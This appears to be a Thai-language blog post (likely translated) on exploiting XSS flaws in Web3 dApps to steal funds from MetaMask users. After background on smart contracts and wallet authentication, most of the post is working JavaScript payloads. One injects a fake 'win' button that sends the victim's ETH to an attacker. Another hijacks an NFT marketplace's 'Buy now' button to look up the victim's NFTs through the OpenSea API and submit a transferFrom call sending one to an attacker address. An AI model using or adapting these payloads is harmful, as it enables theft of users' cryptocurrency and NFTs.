การใช้ Cross Site Scripting (XSS) ใน Web3
บทนำ
Cross-Site Scripting (XSS) เป็นการโจมตีทางไซเบอร์ประเภทหนึ่งที่ผู้โจมตีแทรกโค้ดที่เป็นอันตรายลงในเว็บไซต์หรือเว็บแอปพลิเคชัน โค้ดที่ถูกแทรกมักจะอยู่ในรูปของสคริปต์ ซึ่งจากนั้นเว็บเบราว์เซอร์ของเหยื่อจะดำเนินการ ซึ่งอาจทำให้ผู้โจมตีสามารถขโมยข้อมูลที่ละเอียดอ่อน เช่น ข้อมูลรับรองการเข้าสู่ระบบหรือข้อมูลทางการเงิน หรือดำเนินการที่เป็นอันตรายอื่นๆ ในนามของเหยื่อได้
ข้อมูลเบื้องต้นเกี่ยวกับสัญญาอัจฉริยะ
“สัญญาอัจฉริยะ” เป็นเพียงโปรแกรมที่ทำงานบน Ethereum blockchain เป็นชุดของโค้ด (ฟังก์ชัน) และข้อมูล (สถานะ) ที่อยู่ในที่อยู่เฉพาะบน Ethereum blockchain
สัญญาอัจฉริยะเป็นบัญชี Ethereum ประเภทหนึ่ง ซึ่งหมายความว่าพวกเขามียอดคงเหลือและสามารถเป็นเป้าหมายของการทำธุรกรรมได้ อย่างไรก็ตาม สิ่งเหล่านี้ไม่ได้ถูกควบคุมโดยผู้ใช้ แต่จะถูกนำไปใช้กับเครือข่ายและทำงานตามที่โปรแกรมไว้ บัญชีผู้ใช้สามารถโต้ตอบกับสัญญาอัจฉริยะโดยส่งธุรกรรมที่ดำเนินการฟังก์ชันที่กำหนดไว้ในสัญญาอัจฉริยะ สัญญาอัจฉริยะสามารถกำหนดกฎเหมือนสัญญาทั่วไป และบังคับใช้โดยอัตโนมัติผ่านโค้ด สัญญาอัจฉริยะไม่สามารถลบได้โดยค่าเริ่มต้น และการโต้ตอบกับสัญญาเหล่านี้จะไม่สามารถย้อนกลับได้
ธุรกรรม blockchain คืออะไร?
การทำธุรกรรมไม่ได้จำกัดเฉพาะการโอนทางการเงินเท่านั้นอีกต่อไป และด้วยการพัฒนาของเครือข่ายบล็อกเชน ตอนนี้คุณสามารถใช้บล็อกเชนในสิ่งอื่นนอกเหนือจากการถ่ายโอนทางการเงิน ดังนั้น การปรับเปลี่ยนใดๆ ในสถานะบล็อกเชนจึงเรียกว่าธุรกรรม ไม่ว่าจะเป็นการโอนทางการเงินไปยัง ใครบางคนหรือการโต้ตอบของคุณกับสัญญาอัจฉริยะ
แอปพลิเคชันแบบกระจายอำนาจ (dApps) และสัญญาอัจฉริยะ
ผู้คนจำนวนมากใช้คำสัญญาอัจฉริยะและแอปพลิเคชันแบบกระจายศูนย์ (dApps) แทนกันได้ แต่สิ่งนี้ไม่ถูกต้อง สัญญาอัจฉริยะเป็นเพียงส่วนหนึ่งของโค้ดที่จัดเก็บไว้ในบล็อกเชน อย่างไรก็ตาม dApp เชื่อมต่อส่วนหน้ากับส่วนหลังและอาจใช้สัญญาอัจฉริยะหลายตัวเพื่อเรียกใช้
กระเป๋าเงิน MetaMask โดยสังเขป
- MetaMaskเป็นกระเป๋าเงินดิจิตอลที่ช่วยให้ผู้ใช้สามารถจัดเก็บ Ether และโทเค็น ERC-20 อื่นๆ
- กระเป๋าเงินยังสามารถใช้เพื่อโต้ตอบกับแอปพลิเคชันที่กระจายอำนาจ
การตรวจสอบสิทธิ์ Web3
แอปพลิเคชันแบบกระจายศูนย์ (dApps) ส่วนใหญ่ไม่ตรวจสอบผู้ใช้ด้วยชื่อผู้ใช้/รหัสผ่าน แต่ใช้ที่อยู่เข้ารหัสแทนเพื่อระบุผู้ใช้ ดังนั้นในกรณีของเรา แม้ว่า dApp จะใช้คุกกี้เพื่อติดตามกิจกรรมนอกเครือข่ายของผู้ใช้ การขโมยผู้ใช้ก็ไม่เป็นประโยชน์ คุกกี้ เนื่องจากการดำเนินการใน blockchain จำเป็นต้องมีรหัสส่วนตัวของผู้ใช้ในการลงนามทุกธุรกรรม (รหัสส่วนตัวนี้มีอยู่ในคอมพิวเตอร์ของผู้ใช้เท่านั้น และเป็นไปไม่ได้ที่จะขโมยมันด้วยการโจมตีเช่น XSS)
พวกเราทำอะไรได้บ้าง?
ในหัวข้อนี้ ฉันจะอธิบายแนวคิดบางอย่างที่คุณสามารถใช้ประโยชน์จากการโจมตี XSS เพื่อให้ได้ความรุนแรงสูงสุดที่เป็นไปได้
ฉันจะใช้กระเป๋าเงิน MetaMask ในระหว่างการอธิบายนี้ เพราะเป็นกระเป๋าเงินที่ได้รับความนิยมมากที่สุด
ก่อนเริ่ม
เราจะทำการทดสอบบนเครือข่าย Goerli testnet แทนเครือข่าย mainnet ดังนั้นเราจึงไม่ต้องจัดการกับเงินจริง
ดังนั้น เราต้องเปิดใช้งานเครือข่าย Goerli บนกระเป๋าเงินของเรา
คุณสามารถทดสอบ ETH สำหรับ Goerli Network ได้จากที่นี่
เชื่อมต่อกับ MetaMask!
การโจมตีส่วนแรกของเราคือการทำให้ผู้ใช้เชื่อมต่อกระเป๋าเงินของเขากับเว็บไซต์ dApp สิ่งที่ดีที่สุดที่นี่คือเมื่อ MetaMask ขอให้ผู้ใช้อนุมัติการเชื่อมต่อ มันจะแสดง URL ของเว็บไซต์ dApp ซึ่งจะทำให้ผู้ใช้มั่นใจ
รหัส JavaScript ต่อไปนี้จะขอให้ผู้ใช้เชื่อมต่อกระเป๋าเงินของเขา:
const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});
ขณะนี้ผู้ใช้เชื่อมต่อกับเว็บไซต์ dApp หลังจากนั้นเราจะสร้าง payload เพื่อทำธุรกรรมที่จะส่งเงินให้กับผู้โจมตี
เพย์โหลดต่อไปนี้คือการทำธุรกรรมที่จะส่ง 0.01 ETH จากเหยื่อไปยังผู้โจมตี:
const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});
อย่างที่คุณเห็น การโจมตีนี้จำเป็นต้องมีการโต้ตอบกับผู้ใช้ แต่อย่าลืมในส่วนแรก MetaMask จะแสดง URL ผู้ใช้ของเว็บไซต์ที่มีช่องโหว่ และจะทำให้เขามั่นใจได้หากไม่มีพื้นฐานด้านเทคนิค
ตอนนี้ เรามาอธิบายรายละเอียดเพิ่มเติมเกี่ยวกับเพย์โหลดก่อนหน้ากัน
สำหรับtransactionParametersวัตถุ เรามีบางสิ่งที่สำคัญที่คุณต้องรู้:
1- to: ค่าของพารามิเตอร์นี้คือที่อยู่ของผู้รับ (อาจเป็นรหัสสาธารณะของบัญชีของคุณหรือที่อยู่ของสัญญา)
2- value: จำนวนอีเธอร์ (เป็นฐานสิบหก) ที่คุณต้องการส่ง
3- data: พารามิเตอร์นี้มีประโยชน์เมื่อเราต้องการโต้ตอบกับสัญญาอัจฉริยะ (ฉันจะพูดถึงมันสักหน่อย)
4- chainId: ที่นี่เราใช้ Goerli testnet และ chainId ของมันคือ0x5 (ทุกเครือข่ายมี chainId ที่ไม่ซ้ำกัน)
คุณสามารถค้นหา chainId สำหรับเครือข่ายอื่นๆได้ที่นี่
การใช้ประโยชน์ใหม่
สิ่งสำคัญก่อนที่จะพิจารณาหาช่องโหว่ที่คุณจะมอบให้ คือการรู้ตรรกะทางธุรกิจของ dApp ตัวอย่างเช่น หากเราพบ XSS ที่เก็บไว้ในตลาดกลาง NFT ในหน้ารายละเอียด NFT (ที่แสดงรายละเอียดเกี่ยวกับ NFT เฉพาะ) ในกรณีนั้นเราจะไม่ใช้การหาประโยชน์ครั้งก่อน แต่เราจะสร้างสถานการณ์ใหม่แทน
ตลาด NFT ส่วนใหญ่มี “หน้ารายละเอียด NFT” ดังนี้:
ดังนั้นเมื่อคุณคลิกที่ปุ่ม “ซื้อเลย” MetaMask จะปรากฏขึ้นเพื่อให้คุณอนุมัติการทำธุรกรรม (นี่คือพฤติกรรมปกติ) ตอนนี้เราจะละเมิดสิ่งนั้น ดังนั้นเราต้องเปลี่ยนพฤติกรรมนี้
ตอนแรกฉันจะอธิบายสถานการณ์การโจมตี จากนั้นเราจะเขียนการแสวงหาผลประโยชน์ เมื่อผู้ใช้คลิกที่ “ซื้อเลย” เราต้องการเรียก API เบื้องหลังจนกว่าเราจะได้รับ NFT ที่ผู้ใช้เป็นเจ้าของ จากนั้นเราจะโอนกรรมสิทธิ์ของ NFT ให้เราเมื่อเขายืนยันการทำธุรกรรมผ่าน MetaMask
เราจะใช้ OpenSea API เพื่อสร้างคำขอ API เพื่อรับ NFT ของผู้ใช้ทั้งหมด
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}
SC_address: ตัวแปรนี้จะมีที่อยู่ของสัญญาอัจฉริยะ (ที่อยู่ NFT)
tokenId: ตัวแปรนี้จะมี tokenId ของ NFT
ตอนนี้ เราจะสร้างธุรกรรมใหม่ที่จะทำให้ผู้ใช้อนุมัติในการโอน NFT ของเขาไปยังผู้โจมตี:
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
วัตถุdata ในtransactionParametersแสดงถึงข้อมูลที่เราต้องการเรียกtransferFrom ใช้ฟังก์ชัน (วิธี ERC-721)
รายละเอียดเพิ่มเติมเกี่ยวกับข้อมูล:
23b872dd เป็นตัวแทนของ MethodID ของฟังก์ชัน transferFrom
${ethereum.selectedAddress.substr(2)}แสดงที่อยู่ของผู้ใช้
${“0”.repeat(64 — tokenId.length)}: ที่นี่เราคำนวณความยาวของ tokenId จากนั้นเราจะลบออกจาก 64 จนกระทั่งเติมข้อมูลที่เหลือเป็นศูนย์
ตอนนี้ธุรกรรมของเราพร้อมแล้ว มารวมเข้าด้วยกัน
document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});
ขอบคุณที่อ่าน ฉันหวังว่าเรื่องราวของฉันจะเป็นประโยชน์





































![รายการที่เชื่อมโยงคืออะไร? [ส่วนที่ 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)